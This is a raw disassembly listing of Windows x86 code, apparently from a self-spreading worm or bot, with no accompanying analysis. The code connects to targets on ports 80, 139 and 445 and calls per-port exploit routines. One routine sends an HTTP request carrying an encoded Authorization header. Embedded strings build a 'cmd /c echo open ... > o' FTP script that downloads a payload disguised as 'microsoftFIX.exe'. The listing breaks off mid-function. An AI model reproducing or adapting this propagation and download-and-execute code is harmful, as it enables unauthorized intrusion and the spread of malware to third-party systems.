loc_40B7F4:				; CODE XREF: sub_40B7CB+20j
		push	ebx
		push	0
		push	esi
		call	sub_417070
		push	2Fh
		push	offset dword_43EEFC
		push	esi
		call	sub_4187B0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43EF2C
		push	eax
		mov	[esi+2Fh], di
		call	sub_4187B0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4187B0
		push	6
		add	ebx, edi
		push	offset dword_4D6208
		push	ebx
		call	sub_4187B0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43EE74
		push	ebx
		call	sub_40B786
		add	esp, 48h
		test	al, al
		jnz	short loc_40B85C


loc_40B858:				; CODE XREF: sub_40B7CB+B5j
		xor	bl, bl
		jmp	short loc_40B897
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40B7CB+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40B707
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40B786
		add	esp, 1Ch
		test	al, al
		jz	short loc_40B858
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40B707
		add	esp, 10h
		mov	bl, 1


loc_40B897:				; CODE XREF: sub_40B7CB+8Fj
		push	esi
		call	sub_415820
		pop	ecx
		mov	al, bl


loc_40B8A0:				; CODE XREF: sub_40B7CB+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B7CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8A5	proc near		; CODE XREF: ___:0040BCC3p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_43EF38
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40B8E0
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40B707
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B8E0
		cmp	[ebp+var_20], 82h
		jz	short loc_40B8E4


loc_40B8E0:				; CODE XREF: sub_40B8A5+1Bj
					; sub_40B8A5+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B8E4:				; CODE XREF: sub_40B8A5+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B7CB
		add	esp, 0Ch
		leave
		retn
sub_40B8A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8F7	proc near		; CODE XREF: sub_40B943+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_433460
		call	sub_41915C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_433458
		fstp	[esp+10h+var_10]
		call	sub_418F70
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41915C
		inc	eax
		leave
		retn
sub_40B8F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B943	proc near		; CODE XREF: sub_40BABA+23p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4320BF
		call	sub_4197A0
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp-0Dh]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp-38h]
		mov	[ebp-20h], esi
		call	sub_40BD49
		push	1
		pop	edi
		push	dword ptr [ebp+10h]
		mov	[ebp-4], edi
		call	sub_40B8F7
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40BE5E
		cmp	[ebp+10h], esi
		mov	[ebp-18h], esi
		jbe	loc_40BA8E
		push	ebx
		mov	ebx, [ebp+10h]


loc_40B98B:				; CODE XREF: sub_40B943+144j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40B996
		push	3


loc_40B993:				; CODE XREF: sub_40B943+5Bj
		pop	ebx
		jmp	short loc_40B9A7
; ---------------------------------------------------------------------------


loc_40B996:				; CODE XREF: sub_40B943+4Cj
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40B9A0
		push	2
		jmp	short loc_40B993
; ---------------------------------------------------------------------------


loc_40B9A0:				; CODE XREF: sub_40B943+57j
		cmp	[ebp+10h], edi
		jnz	short loc_40B9A7
		mov	ebx, edi


loc_40B9A7:				; CODE XREF: sub_40B943+51j
					; sub_40B943+60j
		and	dword ptr [ebp-24h], 0
		mov	[ebp-28h], ebx
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_433468
		fstp	[esp+40h+var_40]
		call	sub_419190
		pop	ecx
		pop	ecx
		call	sub_41915C
		test	ebx, ebx
		mov	[ebp-1Ch], eax
		jbe	short loc_40B9E8
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	1
		and	ecx, 3
		rep movsb
		pop	edi


loc_40B9E8:				; CODE XREF: sub_40B943+8Aj
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp-11h], cl
		jbe	short loc_40BA55
		add	[ebp-18h], eax


loc_40BA3A:				; CODE XREF: sub_40B943+110j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43EF84[eax]
		push	eax
		push	edi
		call	sub_40BDDE
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40BA3A


loc_40BA55:				; CODE XREF: sub_40B943+F2j
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40BA6A
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-38h]
		call	sub_40BDB6
		and	dword ptr [ebp-18h], 0


loc_40BA6A:				; CODE XREF: sub_40B943+116j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40BA83
		sub	esi, [ebp-1Ch]


loc_40BA75:				; CODE XREF: sub_40B943+13Ej
		push	3Dh
		push	edi
		lea	ecx, [ebp-38h]
		call	sub_40BDDE
		dec	esi
		jnz	short loc_40BA75


loc_40BA83:				; CODE XREF: sub_40B943+12Dj
		cmp	dword ptr [ebp+10h], 0
		ja	loc_40B98B
		pop	ebx


loc_40BA8E:				; CODE XREF: sub_40B943+3Ej
		mov	ecx, [ebp+8]
		lea	eax, [ebp-38h]
		push	eax
		call	sub_40BD61
		mov	[ebp-20h], edi
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-38h]
		call	sub_40BDAE
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40B943	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BABA	proc near		; CODE XREF: ___:0040BCA6p
		mov	eax, offset loc_4320D9
		call	sub_4197A0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4D6214
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40B943
		add	esp, 10h
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_40BE5A
		lea	ecx, [ebp+14h]
		mov	esi, eax
		call	sub_40BE5A
		lea	esi, [esi+eax+36h]
		push	esi
		call	sub_414DB0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40BB10
		xor	bl, bl
		jmp	short loc_40BB4F
; ---------------------------------------------------------------------------


loc_40BB10:				; CODE XREF: sub_40BABA+50j
		lea	ecx, [ebp-1Ch]
		call	sub_40BE4D
		push	eax
		lea	ecx, [ebp+14h]
		call	sub_40BE4D
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_4172D0
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_445398
		cmp	eax, esi
		jz	short loc_40BB46
		xor	bl, bl
		jmp	short loc_40BB48
; ---------------------------------------------------------------------------


loc_40BB46:				; CODE XREF: sub_40BABA+86j
		mov	bl, 1


loc_40BB48:				; CODE XREF: sub_40BABA+8Aj
		push	edi
		call	sub_415820
		pop	ecx


loc_40BB4F:				; CODE XREF: sub_40BABA+54j
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-1Ch]
		call	sub_40BDAE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_40BDAE
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40BABA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 428h
		and	byte ptr [ebp-428h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-427h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-428h]
		push	offset sub_43F130
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		mov	eax, offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	eax
		push	eax
		movzx	eax, word ptr dword_4D3010
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40267D
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-399h]
		push	400h
		push	eax
		call	sub_4172D0
		add	eax, 90h
		push	eax
		lea	eax, [ebp-428h]
		push	eax
		push	164h
		lea	eax, [ebp-28h]
		push	offset sub_43EFC8
		push	eax
		call	sub_40B3A1
		mov	ecx, [eax]
		xor	ebx, ebx
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, ebx
		mov	[ebp-4], eax
		jnz	short loc_40BC20
		xor	eax, eax
		jmp	loc_40BD2E
; ---------------------------------------------------------------------------


loc_40BC20:				; CODE XREF: ___:0040BC17j
		mov	[ebp-0Ch], ebx


loc_40BC23:				; CODE XREF: ___:0040BD05j
		test	ebx, ebx
		jnz	loc_40BD0B
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40BCF3
		xor	eax, eax
		lea	edi, [ebp-1Eh]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-20h], 2
		call	dword_445348
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_445388
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40BCE8
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40BCB0
		sub	esp, 10h
		lea	eax, [ebp-0Dh]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40BD8B
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40BABA
		add	esp, 1Ch
		jmp	short loc_40BCE5
; ---------------------------------------------------------------------------


loc_40BCB0:				; CODE XREF: ___:0040BC88j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40BCCA
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40B8A5
		jmp	short loc_40BCE2
; ---------------------------------------------------------------------------


loc_40BCCA:				; CODE XREF: ___:0040BCBAj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40BCE8
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40B7CB


loc_40BCE2:				; CODE XREF: ___:0040BCC8j
		add	esp, 0Ch


loc_40BCE5:				; CODE XREF: ___:0040BCAEj
		movzx	ebx, al


loc_40BCE8:				; CODE XREF: ___:0040BC7Fj
					; ___:0040BCD4j
		push	esi
		call	dword_4453E0
		test	ebx, ebx
		jnz	short loc_40BCFE


loc_40BCF3:				; CODE XREF: ___:0040BC3Cj
		push	3E8h
		nop
		call	near ptr 2690599h


loc_40BCFE:				; CODE XREF: ___:0040BCF1j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40BC23


loc_40BD0B:				; CODE XREF: ___:0040BC25j
		lea	ecx, [ebp-8]
		call	sub_40B1C6
		test	ebx, ebx
		jz	short loc_40BD2C
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_43DE40[eax]
		lea	eax, dword_43DE40[eax]


loc_40BD2C:				; CODE XREF: ___:0040BD15j
		mov	eax, ebx


loc_40BD2E:				; CODE XREF: ___:0040BC1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BD33:				; DATA XREF: ___:00436008o
		call	sub_40C32A
		jmp	$+5
		push	offset nullsub_1
		call	sub_419C90
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40BD49	proc near		; CODE XREF: sub_40B943+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40C0CB
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD49	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD61	proc near		; CODE XREF: sub_40B943+152p
					; sub_4314F0+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40C0CB
		push	dword_433470
		mov	ecx, esi
		push	0
		push	edi
		call	sub_40BEDC
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40BD61	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BD8B	proc near		; CODE XREF: ___:0040BC9Ap
					; sub_431490+27p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40C0CB
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_40BFD2
		mov	eax, esi
		pop	esi
		retn	8
sub_40BD8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDAE	proc near		; CODE XREF: sub_40B943+161p
					; sub_40BABA+9Cp ...
		push	1
		call	sub_40C0CB
		retn
sub_40BDAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDB6	proc near		; CODE XREF: sub_40B943+11Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40BDD3
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40BE72
		pop	esi
		retn	4
sub_40BDB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDD3	proc near		; CODE XREF: sub_40BDB6+7p
					; sub_40BFD2+7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_414BE0
		pop	ecx
		retn
sub_40BDD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BDDE	proc near		; CODE XREF: sub_40B943+107p
					; sub_40B943+138p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_433470
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40BDF8
		call	sub_431490


loc_40BDF8:				; CODE XREF: sub_40BDDE+13j
		test	ebx, ebx
		jbe	short loc_40BE2C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40C01F
		test	al, al
		jz	short loc_40BE2C
		lea	eax, [esp+0Ch+arg_4]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	ebx
		push	eax
		call	sub_40BE34
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40BFEF


loc_40BE2C:				; CODE XREF: sub_40BDDE+1Cj
					; sub_40BDDE+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40BDDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE34	proc near		; CODE XREF: sub_40BDDE+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+arg_4]
		movsx	eax, byte ptr [eax]
		push	eax
		push	[esp+8+arg_0]
		call	sub_417070
		add	esp, 0Ch
		retn
sub_40BE34	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE4D	proc near		; CODE XREF: sub_40BABA+59p
					; sub_40BABA+62p ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40BE59
		call	sub_40C0C5

locret_40BE59:				; CODE XREF: sub_40BE4D+5j
		retn
sub_40BE4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE5A	proc near		; CODE XREF: sub_40BABA+32p
					; sub_40BABA+3Cp
		mov	eax, [ecx+8]
		retn
sub_40BE5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE5E	proc near		; CODE XREF: sub_40B943+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40BE6F
		push	0
		push	eax
		call	sub_40C01F

locret_40BE6F:				; CODE XREF: sub_40BE5E+7j
		retn	4
sub_40BE5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BE72	proc near		; CODE XREF: sub_40BDB6+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_433470
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40BE8C
		call	sub_431490


loc_40BE8C:				; CODE XREF: sub_40BE72+13j
		test	ebx, ebx
		jbe	short loc_40BEBF
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40C01F
		test	al, al
		jz	short loc_40BEBF
		mov	eax, [esi+4]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+8]
		push	eax
		call	sub_40BEC7
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40BFEF


loc_40BEBF:				; CODE XREF: sub_40BE72+1Cj
					; sub_40BE72+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40BE72	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BEC7	proc near		; CODE XREF: sub_40BE72+3Dp
					; sub_40BEDC+D9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4187B0
		add	esp, 0Ch
		retn
sub_40BEC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEDC	proc near		; CODE XREF: sub_40BD61+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, ebx
		call	sub_40BFCE
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40BEF8
		call	sub_431790


loc_40BEF8:				; CODE XREF: sub_40BEDC+15j
		mov	ecx, ebx
		call	sub_40BFCE
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		sub	edi, eax
		cmp	[ebp+arg_8], edi
		jnb	short loc_40BF0E
		mov	edi, [ebp+arg_8]


loc_40BF0E:				; CODE XREF: sub_40BEDC+2Dj
		cmp	esi, ebx
		jnz	short loc_40BF33
		push	dword_433470
		add	edi, eax
		mov	ecx, esi
		push	edi
		call	sub_40C15B
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0
		call	sub_40C15B
		jmp	loc_40BFC5
; ---------------------------------------------------------------------------


loc_40BF33:				; CODE XREF: sub_40BEDC+34j
		test	edi, edi
		jbe	short loc_40BF98
		mov	ecx, ebx
		call	sub_40BFCE
		cmp	edi, eax
		jnz	short loc_40BF98
		mov	ecx, ebx
		call	sub_40BE4D
		push	eax
		mov	ecx, esi
		call	sub_40C2B0
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40BF98
		push	ebx
		push	esi
		call	sub_40C315
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40BF98
		push	1
		mov	ecx, esi
		call	sub_40C0CB
		mov	ecx, ebx
		call	sub_40BE4D
		mov	ecx, ebx
		mov	[esi+4], eax
		call	sub_40BFCE
		mov	ecx, ebx
		mov	[esi+8], eax
		call	sub_40C1E7
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40C2B0
		inc	byte ptr [eax]
		jmp	short loc_40BFC5
; ---------------------------------------------------------------------------


loc_40BF98:				; CODE XREF: sub_40BEDC+59j
					; sub_40BEDC+64j ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40C01F
		test	al, al
		jz	short loc_40BFC5
		push	edi
		mov	ecx, ebx
		call	sub_40BE4D
		add	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+4]
		call	sub_40BEC7
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40BFEF


loc_40BFC5:				; CODE XREF: sub_40BEDC+52j
					; sub_40BEDC+BAj ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40BEDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BFCE	proc near		; CODE XREF: sub_40BEDC+Dp
					; sub_40BEDC+1Ep ...
		mov	eax, [ecx+8]
		retn
sub_40BFCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BFD2	proc near		; CODE XREF: sub_40BD8B+18p
					; sub_40C2C5+34p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40BDD3
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C125
		pop	esi
		retn	4
sub_40BFD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEF	proc near		; CODE XREF: sub_40BDDE+49p
					; sub_40BE72+48p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40C012
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40BFEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C012	proc near		; CODE XREF: sub_40BFEF+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40C012	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C01F	proc near		; CODE XREF: sub_40BDDE+28p
					; sub_40BE5E+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40C1D5
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40C036
		call	sub_431490


loc_40C036:				; CODE XREF: sub_40C01F+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40C076
		push	eax
		mov	ecx, esi
		call	sub_40C2B0
		cmp	[eax], bl
		jz	short loc_40C076
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C2B0
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40C076
		cmp	edi, ebx
		jnz	short loc_40C0B5
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C2B0
		dec	byte ptr [eax]
		push	ebx


loc_40C06B:				; CODE XREF: sub_40C01F+63j
		mov	ecx, esi
		call	sub_40C0CB


loc_40C072:				; CODE XREF: sub_40C01F+68j
					; sub_40C01F+72j
		xor	al, al
		jmp	short loc_40C0BF
; ---------------------------------------------------------------------------


loc_40C076:				; CODE XREF: sub_40C01F+1Ej
					; sub_40C01F+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40C093
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40C084
		push	1
		jmp	short loc_40C06B
; ---------------------------------------------------------------------------


loc_40C084:				; CODE XREF: sub_40C01F+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40C072
		push	ebx
		mov	ecx, esi
		call	sub_40BFEF
		jmp	short loc_40C072
; ---------------------------------------------------------------------------


loc_40C093:				; CODE XREF: sub_40C01F+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40C0B0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40C0A5
		cmp	eax, edi
		jnb	short loc_40C0BD


loc_40C0A5:				; CODE XREF: sub_40C01F+80j
		push	1
		mov	ecx, esi
		call	sub_40C0CB
		jmp	short loc_40C0B5
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C01F+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40C0BD


loc_40C0B5:				; CODE XREF: sub_40C01F+3Dj
					; sub_40C01F+8Fj
		push	edi
		mov	ecx, esi
		call	sub_40C1EB


loc_40C0BD:				; CODE XREF: sub_40C01F+84j
					; sub_40C01F+94j
		mov	al, 1


loc_40C0BF:				; CODE XREF: sub_40C01F+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C01F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0C5	proc near		; CODE XREF: sub_40BE4D+7p
		mov	eax, offset dword_433474
		retn
sub_40C0C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0CB	proc near		; CODE XREF: sub_40BD49+Dp
					; sub_40BD61+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40C117
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40C117
		push	eax
		call	sub_40C2B0
		cmp	[eax], bl
		jz	short loc_40C105
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C2B0
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40C105
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40C2B0
		dec	byte ptr [eax]
		jmp	short loc_40C117
; ---------------------------------------------------------------------------


loc_40C105:				; CODE XREF: sub_40C0CB+1Bj
					; sub_40C0CB+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	sub_40C2B8


loc_40C117:				; CODE XREF: sub_40C0CB+Aj
					; sub_40C0CB+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40C0CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C125	proc near		; CODE XREF: sub_40BFD2+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+arg_4]
		mov	esi, ecx
		call	sub_40C01F
		test	al, al
		jz	short loc_40C155
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [esi+4]
		call	sub_40BEC7
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+arg_4]
		call	sub_40BFEF


loc_40C155:				; CODE XREF: sub_40C125+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C15B	proc near		; CODE XREF: sub_40BEDC+41p
					; sub_40BEDC+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40C16E
		call	sub_431790


loc_40C16E:				; CODE XREF: sub_40C15B+Cj
		mov	ecx, edi
		call	sub_40C2C5
		mov	eax, [edi+8]
